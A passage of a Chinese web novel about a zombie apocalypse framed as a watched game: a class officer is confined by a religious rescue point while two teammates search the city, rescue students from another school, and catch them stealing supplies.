“这是宗教的救援点!你们既然来了我们的救援点,就必须遵循、尊重我们这儿的仪式,让你们去祈祷洗礼,又不是让你们去送命!你们不愿意跟我说一声,送你们离开这座写字楼就行了!” 救援人员拿手用力地拍桌子:“明天不愿意去八楼祈祷的,给我举手,我们现在就请您离开!” “我们这小庙容不下你这尊大佛!” 吼声震耳欲聋,没一个学生说话,就罪魁祸首李奂壬在笑。 [反正他是陈付讫的死党,没有人会动他。 ] “举手啊,现在怎么没人举手了!” “举手!” 没人举手。 没人想从这相对还比较安全的地方离开。 “刚才胆子不都挺大的,还把人推伤了么,怎么现在一个个的屁都不放了!” “我看你们都挺有能耐的,都出去自己存活试试怎么样!” “别吃我们提供的食物了,自己出去找物资吧!” 这样的吼声大概持续了半个小时,最后还是其他市民有点不忍心了,救援人员才停下了怒斥声。 “行,”救援人员点头,“既然没有人举手,我就当你们全都同意我们宗教的规矩了。” 他道:“明天早上七点,所有学生到八楼进行祈祷洗礼!所有!” 这话下来,学生们纷纷都抬起了脑袋…不是说只挑三个人么? “怎么?”救援人员转过身,“有人反悔了,现在想离开也行。” 学生们互相看着,依旧没人说话。事情被闹大的结果只能由他们来承担。 “以及。”救援人员继续拍着桌子,“这次你们伤害我们救援点的信徒,必须要付出代价,你们的领头人是谁,让他出来受罚!” “还能还有谁啊,班长啊。”赵平阴开口,“可她不是抛下我们自己走了么?” 站在旁边的陈玉清立马开口:“她是和体委出去找家人了,你能不能不要总是造谣。” 不过班长确实走了,一向负责团队活动的人不在。 “既然班长不在的话,”救援人员在台上站着,“副班长,你们的副班长是谁,让他出来。” 副班长…人群逐渐侧过身往后看,露出站在人群最后面的晏逾明。 完全是从来不管事的副班长,晏逾明站在最后一排,一幅事不关己的模样。 李奂壬扭着脑袋,不知道想起了什么,开口道:“我支持副班长替我们受罚。” 副班长的人缘太差,一时间竟然没有帮忙说话的人。 “正好,你今天早上去过祈祷室了,明天早上不用再过去。”救援人员道,“就由你来代替大家受罚吧。” 救援人员嘴中所说的受罚也是终焉教的规矩,不是什么严重的刑罚,是被关到七楼的禁闭室里,冥想、祈祷、反思自我的罪过。 有的时候,苦修徒甚至会主动进行长期的紧闭来修行。 禁闭室大概二十平方米,里面有基本的生活用具,除此之外只有宗教经书。 紧闭期间,不能出门,每天只能吃一顿,且必须是清粥,其他时间辟谷。 救援人员:“看在你们现在认错态度还行,就只先关个十天吧。” 按照副班长孤僻的人物设定,反而会觉得独自居住时一件好事,除了吃得少些,似乎比在外面活动要安静。 但是从TRES的角度出发,把晏逾明关起来,绝对是他们行动的一大损失。 果然,<深渊>通过剧情,利用一切机会来抑制他们。 剧情脱离的权限已经耗竭了,没有再次脱离剧情的机会。 晏逾明没说什么,散漫地迈开步子,跟着救援人员离开了。 · 写字楼内,禁闭室的铁门沉重地被关上。 写字楼外,卡车的车门被撬开,温知初翻身上驾驶座后,关门,再将另一边的门打开,将铭翻了上来。 卡车外,丧尸用力地用身躯撞击着车身,激烈的嘶吼声不绝于耳。 两人原本干净的校服已经沾满血污,往座椅上淌血,温知初略微往后倚在座椅上,把沾血的碎发往上撩,她闭上双眼,身体的疼痛感让她的呼吸比往常要慢一些。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ]的声音一直没停过。 将铭望着驾驶座:“小温,你会开车?” “嗯。”温知初道,“会。” 将铭:“开得怎么样?” 温知初:“还不错。” 听到这儿将铭放心了,小温嘴里的不错,放在其他人标准里,就是很好。 034号:[……] 你要是知道这是她第二次开车就不会这么放心了…虽然开得确实不错。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 温知初倚在座椅上,神情没什么变化,呼吸却好像更慢了。 “将队,”她道,“我有些累了,可以休息一会儿再出发么?” 将铭:“当然,一个小时够么?” 温知初把手塞进口袋,拿出了一颗药片,默不作声地咽了下去:“不用,半个小时就够了。” 说完,她后倚到座椅上,平静地闭上了双眼。 将铭有些好奇:“你刚才吃的什么?” “润喉糖。”温知初依旧闭着双眼,从另一个口袋里拿出一板润喉糖,抛向右侧,“来一个吗?” 将铭顺势接过润喉糖:“谢了。” 将铭含了一颗润喉糖后,后倚到椅子上,也闭上双眼休息。 车座旁传来终端的震动声,温知初从背包测面拿出手机。 手机被邱任望改造过,短距离内能收发信息,距离控制在一公里左右,比终端的信号要稳定许多。 视野里都是血,她眯着眼,努力地辨认光屏上的字。 · 时间一分一秒地往后走,温、将二人离开写字楼时大概晚上十点左右,现在已然是隔天下午了,几乎一天快过去。 卡车早就绕着一公里的半径进行细致的搜寻。 禁闭室的窗户很小,并没什么光照进来,晏逾明坐在椅子上,百无聊赖地闭目养神。 禁闭室内没有其他书,只有经书,活动范围极小,还残留着常年不透风的霉味,似乎除了闭目养神,也没有其他的事可做。 外面的人似乎忘了这里还有个人,早上没人送饭、中午没人送饭、快到晚上了也没人送饭。 [还得关九天啊,<深渊>该不会想通过这种方式饿死Yu吧? ] [话说Yu不是才从高烧恢复不了多久,免疫力本来不好。 ] 在这样的免疫力基础设定基础上,按照剧情逻辑,要不了多久,副班长又可能会顺理成章地被再次高烧。 副班长倒也没有抱怨什么,安静地坐在房间内。 墙上的挂钟走到八点这个位置的时候,门外响起了脚步声,有人在敲门。 晏逾明睁开双眼。 打开门,门外还有一层铁栅栏,站在外面的是一个意料之外的人,晏逾明淡漠地往外看。 校医。 校医有些尴尬地朝门内的晏逾明笑了笑,手上提了不少东西,袋子里都是些吃的。 他以前跟副班长有过消毒液之类的小摩擦,其实不太知道该怎么和他相处。 他绕开工作人员偷偷来的。 “对了,”校医把东西从栅栏间往里塞,“这些是有人发短信让我给你送过来的,不好意思,现在手机很难收到消息,我早上才看到消息,因为祷告耽搁到现在才能来。” 至于这人是谁。 其实很明显。 袋子塞进去后,校医把药递过去。 布洛芬。 校医道:“班长让你注意身体,别再发烧了。” 晏逾明顿了顿,嘴角露出不明显的笑:“你说她的原话就行了。” 班长才不会对副班长说出这么温柔的嘱咐。 校医笑了笑:“班长说…” 他道:“她让你别死了。”会给别人添麻烦。 原话。 第68章 卡车内。 “这手机根本没用。”将铭道, “哪怕被改造过。” 两人刚从外面回到卡车,温知初拿着手机的手上全是血,手机屏幕上也沾满了血。 “我们又不可能去连救援点的信号站,会泄露消息。”将铭道, “这手机,现在基本跟个MP3没区别了。” “听音乐吗?” 将铭难得冷幽默了一下。 两人刚在外面搜寻了一片区域, 耗费太多气力。 从昨天晚上到现在, 他们一共搜寻了四次,每次都耗时差不多六个小时左右。 除了伤口外一无所得。 不知不觉, 又是晚上十点了。 手机音乐不可能真的打开, 毕竟会吸引周围的丧尸。 手机没用,将铭手腕上的那个终端倒是还有信号,暂时还能接收到TRES队员传来的消息。 这个终端也是被邱任望改造过。 同样被改造过,终端比手机耐用些。 事实证明,就算终端不是这个世界的产物,受限最严重,但还是要比手机更有用。 两人从背包里拿出绷带,简单地包扎了下被刮伤的伤口。 将铭看到温知初默不作声地又在吃润喉糖,似乎每次他们搜寻回来后,她都会吃一片。 “是润喉糖么?”将铭轻咳了一声,“能给我一片么?” 温知初把润喉糖递给他:“喉咙不舒服?” 将铭点头:“有点儿干。” 温知初不自然地顶定了定,像是看见了什么,她眯了眯眼睛,尽量忽视周围的幻觉。 她缓了会儿, 状若自然地从背包里拿出一筒泡腾片和的矿泉水。 泡腾片被放入矿泉水里后产生无数气泡,静置了会儿,才不再冒任何气泡。 温知初把水递给将铭:“给你。” 将铭有些茫然地接过去:“给我?” “不是喉咙干么?”温知初道, “预防一下。” 将铭这张万年瘫的脸露出笑:“谢…谢” 温知初:“不客气。” 说完后,她后倚到座位上,用外套遮住脸,遮住不断蔓延红血丝的双眼。 她道:“将队,我休息会儿。” 就半小时。 034号欲言又止:[宿主,你这样…] 它道: [吃这么多药,你身体… ] 最终,它换了个话题:[在外面看直播的那些教练、训练官肯定能发现你身体的异常,他们能看到你的生命体征和疼痛感。正常人是不可能忍受如此漫长而严重的疼痛的…他们绝对会发现你的身份不对劲。 ] 温知初平静地闭着眼。 “嗯。” 将铭把水喝完,望向驾驶座旁挤挤囊囊的背包:“小温,你这背包里装的什么,这么多?” 温知初:“救援服。” 她从更衣室拿的两套救援服和救援头盔。 “以防万一。”温和的声音从衣服下传来,“也许能用上。” · 夜晚十一点,写字楼。 依旧没人来送饭。 果然这里的工作人员完全没再管这里。 虽然外面没有动静,但是禁闭室内却传来了动静。 不是晏逾明发出的。 坐在椅子上闭幕眼神的副班长抬眼。 墙板的另一面,传来细细簌簌的声响。 有体型不小的东西在墙板的另一面跳动,一开始,听起来很像是小狗在地上跳动、玩球的声音。 但是这里怎么可能养狗。 后来声音越来越重,传来了手掌拍打地面的声音。 如果是动物,不可能发出这样的掌击声,听起来像是人。 [难道是隔壁还有人在禁闭? ] [谁家禁闭发出这动静,这是在房间里跑酷呢? ] 晏逾明打开终端。 Yu:[有新的人进了禁闭室? ] 群里消息回得很快。 Q:[没有。 ] Q:[市民全都在大厅,学生的话,除了两个人,也全都在顶楼。 ] 缺少的那两个人都是高三四班的。 今天早上的祈祷过后,所有人都被抽了血,十九个人里,只有两个人够格成为圣父的侍奉者,一个女学生,一个男同学。 那两人被神父留下了,似乎后续要进行长达数日的入教仪式之类的。 不过吃饭的时候,那两人还是上楼和大家一起吃的,听他们说没有经历什么异常的事。 有了这么一遭集体的抽血,学生们都稍微松了口气,觉得可能这些只是这个宗教的规矩,不是要拿他们的血做什么。 起码现在没人出事,也没人拿他们做什么。 就是那两个被强制入教的学生得每天去听神父讲课,不过他们的福利似乎也比其他人多,和普通市民一样,享有专门的居住房间和食物,能分到更多的水果和肉。 所以…没有新的人进禁闭室。 那么隔壁的是什么动静。 砰,砰,砰。 隔壁这个似人的东西跳动了一段时间不再挪动身体,似乎开始磨指甲。指甲在墙上发出剐蹭、尖利的声音。 从剐蹭的频率来看,这个东西应该挺焦躁的,情绪非常不稳定。 [是丧尸么? ] [隔壁关了一个丧尸?没必要啊,没道理关一个丧尸在里面。 ] [会不会像电影一样,里面的丧尸是市议长的重要家人之类的,不幸尸变后被他放在禁闭室里眷养,他不停地救援人就是为了制作解药然后拯救自己的家人…] [想象力真丰富,直接把剧情结局编出来了。 ] 讨论中,隔壁又响起了开门声。 好像有人走进去了,放下了什么,接下来传来咀嚼的声音,应该是那东西在吃东西,听动静好像有水果,咀嚼的声音很清脆。 [这么听好像不是丧尸啊… ] [丧尸除了人肉啥都不吃啊。 ] 吃了大概十五分钟后,那东西不再进食,而后彻底安静下来,也不跑动了,进来的人走出去后,隔壁的房间再也没有发出声音过。 脚步声远去,禁闭室周围再次陷入了沉寂。 [……] [那人怎么就这么走了? ] [都是来送食物的,给隔壁那不太像人的东西送吃的,怎么不给副班长送吃的? ] 讨论区涌动着弹幕。 [话说,你们不觉得这次敌方尤其安静么? ] [他们安静吗?你们是不记得之前陈付讫他们在逃亡的路上做的那些事了吗,三十四个学生出来,路上少了十二个,全都是一路上陈付讫和李奂壬他们弄的。 ] [我是说最近。 ] [最近也有李奂壬啊,要不是因为他,不可能所有学生都被送去抽血了,而且你可能刚刚没看直播,今天中午午睡的时候,李奂壬试图攻击独处的屈孚宁来着,屈孚宁醒得很快,他没得逞。 ] [我不是这个意思,我是在说,为什么其他敌方为什么一直没动手,一直活动的只有李奂壬和陈付讫。 ] [因为他们在掩盖身份,掩盖的足够好的话,TRES这一轮必定是死局。 ] TRES现在的情势其实很严峻。 首先,他们已经来到这个域四天了,上次他们在域里待了四天后,精神力耗竭的后果非常严重,更不用说他们还要继续在这里待下去,两个剧情目标现在一个都没有完成。 在进域之前他们接受过有关精神力的加强训练,教练跟他们说过,他们最多只能在域里待六天,时间如果太长,他们就算走出去,也很大可能再也醒不来。 滞留问题下,敌方的身份是最大的痛点。 邱任望和将铭验了很多学生、市民,可他们全都不是。 目前唯二能肯定是敌方的只有陈付讫和李奂壬。其他人藏得太好了。 第二个痛点在市议长这儿。 在外面找市议长是一项极度艰巨的任务。 最多,他们只剩下两天的时间。 苍茫的夜色中,卡车在城市中穿行,这座城市越来越荒颓,供电系统也在两天前彻底崩溃了,城市陷入了没有灯光的状态,除了救援点的那些灯,其他地方都黑乎乎的,伸手不见五指。 偶尔传来人的尖叫声,都无法分辨是从哪里传来的。 卡车因为路途上的撞击和疾驰破损有些严重,尤其是卡车后车厢,门好像坏了,温知初单手握着方向盘往前行驶,能感受到车厢后面的门一荡一荡的,尾门阖不上了。 写字楼内的队员负责找剩余的敌方,她和将铭负责找市议长,卡车的车灯亮着,而后又缓慢地熄灭,停下。 他们到达了第五个需要负责搜索的地域。 体力有所消耗,两人在车上,决定暂时休息半个小时后再出去。 温知初倒是看起来不是很累,她从车窗外往外看。 将铭有些好奇地顺着她的视线往外看:“你在看什么?” 温知初指向远处的一个地方:“那里有灯。” 有灯的地方应该是街道处,因为有高楼遮盖,那里的灯比较微弱,且位置在他们需要搜寻的范围之外。 尽管如此,有灯,就证明着有人。 “现在这个时局下还有电的,”温知初道,“很有可能是另一个救援点。” 她道:“时间不够,如果这一趟我们还没有找到任何线索,就去那里看看。” 将铭看向驾驶座旁装着救援服的背包,他能懂温知初是什么意思:“好。” 车里又重新安静了下来,温知初从背包中拿出本书,默不作声地翻看起来。 书很厚,将铭瞥了一眼书名,发现是终焉教的经书《钢铁终焉》。 将铭道:“他们的经书基本都是照搬基督,应该没什么线索。” 温知初:“终归有所不同。” 她倚在车座上,往后翻。 与此同时,很巧的是,写字楼的八楼,禁闭室内,晏逾明也在看终焉教的经书。 也是这本《钢铁终焉》。 [班长和副班长…宿敌就是宿敌啊,就连看的书都是一样的…] [其实终焉这个名字就不太吉利,终焉终焉,可不就是末世么。 ] 卡车内,手电筒的光照在温知初的侧脸,指节分明的手缓慢地翻动着书页,将铭也侧过身一起在看,两人都看得很认真。 目前为止,大部分看到的内容都是雷同的故事,暂时还没找到什么线索,不过就算是些故事也不能漏着看,说不定背后有什么隐喻的逻辑。 每一个团队做事、尤其是有核心价值观的团队做事,肯定都有一套自洽的逻辑,终焉教的逻辑是什么…他们到底想利用血液做什么… 时间差不多了,书被阖上。 晏逾明站到窗边,往外看。 TRES的其余队员们不约而同地走向窗边,夜色中,在他们看不到的地方,温知初和将铭隐入了丧尸堆中。 血和骨裂声接连不断,两人的身影在丧尸堆中狂奔着,这片区域的丧尸实在太多了,三个小时的搜寻中,两人中有人受伤了,血从伤口往下滴落,却来不及处理。 黑暗中,响起了好几声尖叫声和呼救声。 第69章 将铭受伤了。 其实两人都受伤了,不过将铭伤得有些过于严重。 他的肩胛骨在逃亡中被掉下来的铁架子给撞断,一条胳膊动不了,后肩的地方在不断往下渗血。 动作受限, 他跑动的速度都变慢了些, 另一只手挥舞支杆的动作也变慢了。 支杆插进了一个丧尸的眼窝, 另一只胳膊因为动不了, 余光瞥见斜后方的丧尸, 愣了一秒后,胳膊快要被张开的嘴叼住。 “砰”的一声, 温知初修长的身影过来, 踹倒那个丧尸。 她没有说话,拽住将铭的手腕,立马往空旷处跑。 温知初跑得非常快,且拽人的力极大,将铭几乎有种脚没办法着地的感觉。 跑动中,眼角能看到那些追赶的丧尸在视野里飞快地倒退,迎面的夜风很大。 两人在尸群中狂奔。 后面的躲过了,前面的却逃不了。 动静太大, 丧尸过于密集,这片居民楼已经成了一个包围圈,外面层层都是不断被吸引而来的丧尸。 “太多了。”将铭因为跑得太快大口地喘息着, “小温,我现在行动受限,你把我放在这儿,我们分开来走。” 温知初置若罔闻。 她环顾四周,往上看:“上去。” 说完,没有任何犹豫的时间,她已经沿着楼层往上攀,楼下,将铭单手抵御着奔来的丧尸。 “将队。”温知初挂在窗沿边,朝下伸出手,将铭会意,把支杆别在腰上,握住温知初的手。 借力后,他攀在了水管和楼层之间凸出的水泥装饰条上。 温知初确定他站稳后,翻到二楼窗沿上。 二楼的窗户是从里面锁着的,温知初拿起支杆,顶向窗户。 “啪”得几声,玻璃被捅碎,再用力撬了几下,玻璃片从二楼往下劈里啪啦地掉落。 破损的窗户被打开,温知初翻了进去,将铭也跟着翻了进去。 温知初在里面搭了把手,没让他摔下来。 里面一股灰尘味儿。 是个朝南的卧室。 暂时安全了,将铭坐到地上,气喘吁吁地开始处理肩胛口的伤口。 温知初的手腕也被划伤了,她简单地处理了一下,帮将铭处理伤口。 他的肩胛骨伤有点严重,伤口里有铁茬,因为没有及时处理已经感染了。 温知初蹲下身,认真地把那些铁片给清了出来。 给伤口消毒,而后用绷带一层层包扎好。 温知初解下自己的外套,在将铭的肩膀和手臂之间垫了一层,然后用外套的袖子绕着固定住将铭的右手臂,放在胸前,算个临时悬吊,防止手臂不小心再晃动。 没有更好的医疗条件,将铭吃了一片止痛药,表情安稳了些。 做完这一切,温知初放下背包,倚靠在墙边,她的四肢有些不受控了,如果仔细看,手腕在生理性地轻微颤抖。 她默不作声地从咽下一片药,闭上了双眼。 吃药的频率太高,副作用太明显了。 温知初略微仰起头,用手捂住想要流鼻血的鼻子,血从手指的缝隙往下流淌,滴在地板上。 将铭注意到了,他紧张地站起身:“小温!你怎么了!” “没事。”温知初道,“只是流鼻血了。” 将铭依旧很紧张。 他摘下温知初的手,左右看她有没有受伤。 除了手臂的轻伤,其他地方倒是没什么伤,只不过脸色有些太惨白了。 “你还是担心担心自己吧。”温知初状若无事地斜倚在墙角,用纸擦拭着血。 将铭皱着眉:“你真的没事?” 温知初:“嗯。” 不是什么大问题。 将铭看温知初确实没什么异状,才坐回了原位。 温知初紧绷的身体略微放松。 034号知道,从宿主内心来说,也许真的不是大问题。 第一次见这么不把自己的命当命的人。 但从疼痛值和生命体征来说,这是巨大问题中的巨大问题。 宿主的生命体征不停亮起警报,034号真的很害怕,它生怕几秒后说不定宿主人就没了。 到底是有着什么样经历的人,能忍到这种程度太可怕了。 034号已经把自己和宿主之间的所有共享程序都关了,生怕不小心共享到宿主的感官疼痛,它这个系统就要当场报废了。 温知初沉静地望着前方,红血丝静默地爬满了她的双眼。 034号看到宿主的耐心值又动了。 这次降低到了4。 又降低了…听说降低到3的时候,人会产生极大的厌世、报复社会的冲动。 不过从宿主现在的状态来看,好像没什么冲动,和以往一样平静。 她站起身,和将铭一起往外看。 居民楼外的丧尸非常暴动,基本都拥挤在楼下的这条夹道上,比刚才还要密密麻麻地嘶吼着。 对面是个大的公园。 往东边看大概几百米,另一栋居民楼前,那里的丧尸倒是要少些。 比较幸运的是,他们的卡车正好停在那儿。 公园和他们这栋居民楼离得近,中间的夹道很小,这里的居民楼估计是老城区那种钉子户小区,没拆,新建的公园这才离得这近,近到几乎可以用狭隘来形容。 两人对视了眼,准备休息会儿就出发。 温知初指向对面的公园围墙:“等会儿我们跳到对面,踩着公园围墙走。” 虽然围墙有点矮,丧尸比较容易够得着脚脖子,但是起码比在丧尸堆里搏命要好。 以楼下这种密集程度的丧尸,真扎进去了,估计就出不来了。 将铭的眼睛眯了眯:“小温…你看那里…” 公园里面。 公园里面有一群人在跑动,大概十个人出头。 仔细看,发现都是学生,身上穿着另一所高中的校服。 他们大力地跑着,从跑动的姿势能看出是有逃生经历的,手上拿着的是自制的长兵器,把刀绑在了水管上,防御丧尸的动作虽然比较莽撞,但还是比较熟练的,不过也有人没跑得了,被丧尸拖进尸群。 血肉顿时被分割。 二楼窗边的将铭朝外喊道:“门!” “往门上爬!” 逃命的尖叫声中,其他学生趁着丧尸的注意力被扑倒的血肉转移,纷纷爬上了铁质大门。 铁门顶是尖的,他们不能坐上去,只能攀着,有高有低。 攀在高处的学生没没有可以踩的地方,只能臂力攀着最顶层的横杆,身体不断有下滑的趋势,攀在低处的学生倒是有地方可以踩,就是太低了,容易被丧尸拽到,纷纷来回把腿往上缩。 “卧槽!” “卧槽卧槽!” 门是爬上去了,但是他们没办法动了。 他们没想到公园外面也这么多丧尸,而且比里面多得多,几乎看得人密集恐惧症都要犯了。 外面的丧尸听到动静更加激动了,门上突然多了十几个年轻新鲜的血肉,它们纷纷挤过来,用力地撞击门。 铁门不至于那么脆弱,但是推挤的丧尸实在太多了,这么大的力道中,铁门两侧的合页快要松动。 铁门上学生们一边骂爹一边尖叫。 攀得比较高的人抬头一看,就看到了窗外探出身的将铭。 “救命救命救命救命!” “救我们!” “救救我们!” “门快支撑不住了!” [完了,又来活儿了。 ] [本来就受伤了,好了,这下还得去救人。 ] [可不可以不救啊…这看起来好像<深渊>安排的拖累他们脚步的剧情啊…] [不是好像,是就是。 ] [他们俩的人物设定是不可能允许他们不去救人的。 ] 班长和体委,两个大好人中的大好人。 “怎么办?”将铭望向温知初。 温知初已经斜挎起背包:“我来。” 将铭活动受限,不可能让他去救。 温知初:“我把他们带到卡车那里,然后回来接你。” 将铭有些担心地望着温知初:“班长…” “没事。”温知初往窗外看,“这段路还是比较好走的。” 言语间,温知初已经站上了没了玻璃的空窗台上,夜风吹来,吹掉温知初的卫衣帽,她深黑的双眼望向铁门的方向。 距离实在挺近的,他们的这个居民楼靠路,铁门和窗台之间的距离大概两米左右。 铁门上挂着的学生们惊讶地望着站在窗沿上的温知初,瞪大双眼。 什么意思…这是要直接跳过来吗? 先别说跳不跳得过来…真跳过来了,如果抓个不稳或者震动幅度太大,他们这些挂在门上很可能被连带着掉下去。 “喂!” 他们用力地摇着头:“跳不过来的!” “从下面走吧!” [从下面走?他们说得倒是轻松。 ] [他们怎么不从下面走啊? ] 温知初站在窗沿上,像是没听到那些学生在说什么,嘴角略微提起笑:“抓稳了。” 她道:“不会出问题的,我过来了。” 略微下蹲,起势后,修长的身影跳了出去,在半空划出一道一气呵成的弧线。 风擦过指尖,衣摆翻飞,在学生们的尖叫声中,温知初在快要落到铁门之前,手腕翻动,指节分明的手指拽住了最顶层的横梁,借力攀于铁门,微屈的膝盖卸去冲力,落在铁门上的动静只有那么轻微的一晃,其余没有更多的动静。 学生们瞪圆了眼,不可置信地看着她。 她平静地抿了抿唇线:“我说过,不会出问题的。” “现在,”她往围墙处看,“我们要开始跑了。” 第70章 她回头,看了一眼楼上的将铭,比了个没问题的手势。 学生们的声音在发抖:“往、往哪里跑。” “我在前面带路。”温知初平和地抬眼,“你们跟着我。” 温知初躬身, 翻到了围墙上。 “从围墙上走吗?”学生们有些害怕地也攀到围墙上,步子踉跄。 围墙不高, 只有一米七左右, 下面的丧尸手臂往上抓挠, 想要把上面走动的人拽下来。 所以得跑,不能停。 温知初手上的支杆把脚侧的丧尸往外顶, 她回头看, 确定所有人都在围墙上了,才开始往前跑。 温和的声音低声道:“踩稳了, 不要停。” 学生们紧跟着,鞋底在粗糙的水泥墙上,时不时还会撞到墙旁的树梢,脚步特别滑,求生的本能让他们不敢停下,咬牙跟上。 丧尸们激动而急切地嘶吼着,他们能听到墙上的动静,双手使劲儿地往上抓拽,个子高的试图往上爬,指甲在墙面留下道道白痕,有好些学生的脚踝险些被勾下去。 这些学生显然比高三四班的那些学生要有经验很多,起码能一定程度上自保,尽管慌乱至极,也知道用长武器去驱赶脚踝上的手和扑上来的丧尸,大叫着,凭借着肾上腺素大步往前跑。 “去死!”“去死!”他们用力地往下捅,而后赶忙再往前跑,不能停,稍微慢些,就可能跟不上最前面的温知初。 “救我!” 温知初身后传来呼叫声。 “啊啊啊啊同学救我!” 她停下脚步往后看,那男同学半个大腿都被丧尸给抱住了,这丧尸体型和力气都很大,他怎么捅都捅不下去,青黑的手死死地钳住他的腿,继续往下拖。 男同学快被拽下去了,后衣领一股力把他拽了上来,温知初一只手拽着他,另一只手上提着的支杆将丧尸的眼窝“噗呲”扎穿,血液溅在男学生的衣服和脖子上,“砰”得一声,丧尸被踹了下去。 男同学整个人僵硬到极点,丧尸都被踹下去了,明明四肢都还能动弹,却死死地抓着温知初的胳膊:“这个同学…你能不能一直拽着我,我、我有点儿站不住了。” [] [不是,刚想夸这些学生挺有逃生经验的,怎么就赖上了。 ] [这是脸真大啊,你后面同学快被你堵住了。 ] “站稳了,没关系,”温知初抽回自己的胳膊,“快到了。” 男同学想拽没拽住,前面那道身影已经跑出去一段距离了,他顿了顿,只能继续跟上。 奔跑间,有人从围墙上掉下去了。 周围的学生看得清清楚楚的,是一位差点被丧尸拖下去的学生把身边的另一个学生直接给推了下去,围墙下的丧尸全都扑向了那名学生,他才重新爬上了墙。 被推下去的男生甚至连尖叫声都没来得及喊出来,脖子就被咬破了,四肢被周围的丧尸争抢着撕开,肚膛被剖开。 围墙下发生了这样的事,围墙上无论是推人的学生、还是旁观的学生都没有什么停留,连忙趁着这空档往前逃。 没有愤怒、没有指责、没有同情,没有停下来去施救的任何动作,好像他们之间已经默许了这种事存在的可能性。 彼此提防着,只顾着求生。 很显然,他们和高三四班的那些学生不同…很不同。 高三四班的学生也闹过矛盾,每个人也有自私自利的情绪,但再怎么做也不可能主动推人,对同学的生命如此视若无睹。 因为他们其实大部分时候都在室内,要么在游泳场馆内、要么在写字楼内,在外逃生的次数也就那么几次,所以没有经历过太多黑暗的抉择以及人性的考验。 而人性,是最经不住考验的。 距离丧尸爆发已经过去五十几天了,这些出现在公园的他校学生也许已经经历了太多黑暗时刻,早就忘了人性是什么,只会做出最有利自己的选择,需要团结的时候就团队行动,遭受危险的时候绝对会抛下同伴。 他们一开始也有四十几个人,到了公园的时候还剩二十几个,逃到大门的时候只剩下十几个,现在,在围墙上艰难地奔走的,只剩下九个。 沿着围墙踉踉跄跄往东跑了几百米,腿都快抽筋了,终于看到带头的温知初从围墙上跳下去了,他们赶忙跟上。 落地的温知初略微躬身,地面的丧尸虽然比刚才没那么密集,不过也不少,握在右手的支杆抬起。 跑向卡车的一路,支杆不断捅入丧尸的头颅又抽出,扎入拔出间血液溅在半空,动静大得她身后的学生往后退了几步。 他们是杀过丧尸…但从来不是这种杀法,感觉这人好像比丧尸要恐怖多了。 学生们一路跟着温知初跑到了卡车旁。 温知初打开驾驶座的门,把背包扔到座位上,而其他学生顺势进了卡车的后车厢。 九个学生环顾着四周,坐在地上气喘吁吁,身上都是汗。 “真的…真的逃出来了…” “这儿周围的丧尸比刚才少好多…不行,我快喘不上气了,那个人到底是怎么跑这么快还能杀那么躲丧尸的…” 那个人打开了后车厢门。 几个学生看到是她,凑上前道谢。 “同学,你是隔壁城区那个高中的吧,我认识你的校服。” “你是会开车吗?我们现在是要去什么地方吗?还是就暂时躲在这里?” “同学,你有吃的东西吗,我好饿。” “同学,该怎么称呼你?” …… 问题很多,温知初简短平和地回答。 “我叫温知初,”她道,“会开车,稍后会出发,有吃的东西,等会儿回来分。” 她抬眼:“我去接我的同学,马上回来。” 说完后,她略微颔首道别,再次拉开车厢门出去,修长的身影隐入了夜色中,奔跑着离开。 车厢里的学生们透过门的缝隙往外看,惊讶地张开嘴:“真走了…” “狠人啊,刚才的路她还得重新带人走一遍。” “不是,真就走了…” “如果是我,我是不可能再回去的,累死我了。” “喂,我饿得受不了了,弄点儿来吃呗。” 学生们交换着眼神,不约而同地下了后车厢,绕到前面的驾驶座,打开门,挤了上去。 没有多少犹豫,他们开始翻驾驶座旁的背包。 “卧槽,真的有吃的!” “还有药!” “面包、我都多久没见过在包装袋里的干净食物了!面包!” 几个人兴奋地动手就要吃,往背包里把面包掏出来,抢着塞进怀里,也有人犹豫着:“他们好歹救了我们,要不然等他们回来我们再…” “你傻啊,等他们回来怎么可能会分这些好东西给我们,顶多分些边角料。”更多人饿都快饿死了,根本不考虑这些,“别想这么多,快吃吧。” “反正他们是好人。”有人打开了面包袋,“应该不会在意的。” “而且他们那么多吃的…应该不会在意吧。”他翻着背包,“离他们回来肯定还要很长时间,就算吃点儿东西,只要没抓个正着的话,应该不会说什么。” 这人说着话,身旁坐着的人,嘴上的面包掉了下来,他突然叫了一声,他用力地拍他。 “干嘛啊,一惊一乍的!”男学生抬眼。 那人指向了后视镜:“他们回来了!” 后视镜里,两人的身影快步走了过来。 “卧槽卧槽卧槽…”几个人手忙脚乱地想要收拾背包和面包袋。 已经来不及了。 驾驶座的门打开,靠门的人顺着惯性摔了下去,其他人僵在原位。 温知初扶着将铭,她抬眼,冷淡地望着这些学生。 几个人瞠目结舌地想说些什么,却没办法说出口。 温知初望向他们的眼神虽然很平静,莫名却让人后背起了一层鸡皮疙瘩,灵魂仿佛都被看穿,什么辩解的话都说不出来了。 “下来。”温知初只说了两个字。 几个人赶紧从挤在一起的状态下了车头,赶忙跑回后车厢。 温知初把将铭扶回了座位,重新帮着处理了一遍再次崩裂的伤口。 将铭用能动的那只胳膊收拾车座上散乱的包装袋,摇了摇脑袋,啧了一声。 跟一群学生能计较什么呢,也无法计较。 放在现实中,按照他的脾气是不会救这些人的,但是放在这里的剧情,就算这些学生的行为轨迹已经有些不太妙了,两个大好人也不会漠视这些不太妙的生命。 剧情是不会让他们抛下这些学生的,毕竟是一大阻力,拖住他们去找市议长的进程。 收拾好背包后,卡车开动了,被开到就近的另一片区域,这里的丧尸更少,在这里暂停休息会更安全一些。 卡车停下来的时候,天已经亮了,已然是清晨七点。 两人从出了写字楼就没有睡过,到了现在,将铭的身体和体力都到了极限,两人需要休整。 温知初倒是没说要休息,拿出那本《钢铁终焉》又要看,被将铭按住了封面:“别看了,停下来睡三个小时,再这么下去,你就算不担心自己,我也得担心你能不能清醒地开车了。” 本来说好了两人换着开来着,今天该换将铭开了,不幸的是他受伤了,今天开车的还得是温知初。 温知初顿了顿,她阖上书,倚到座椅上:“好。” 她闭上双眼。 将铭把毯子盖在了她身上。 气温不稳定,现在还是有点儿冷的。 终端亮了,是邱任望发来的消息。信号延迟,三个小时前发的消息他现在才收到。 Q:[一切OK? ] 将铭: [还行。 ] Q在群里分享了一个链接。 Q:[我担心禁闭室里太无聊,Yu哥没事儿干,特意做了一个大富翁的小程序,大家可以一起玩儿。 ] 当然不可能只是一个游戏。 邱任望没有直接说出这个程序的另一个作用,主要是瞒着<深渊> 。 这是个套着游戏皮的联通程序。 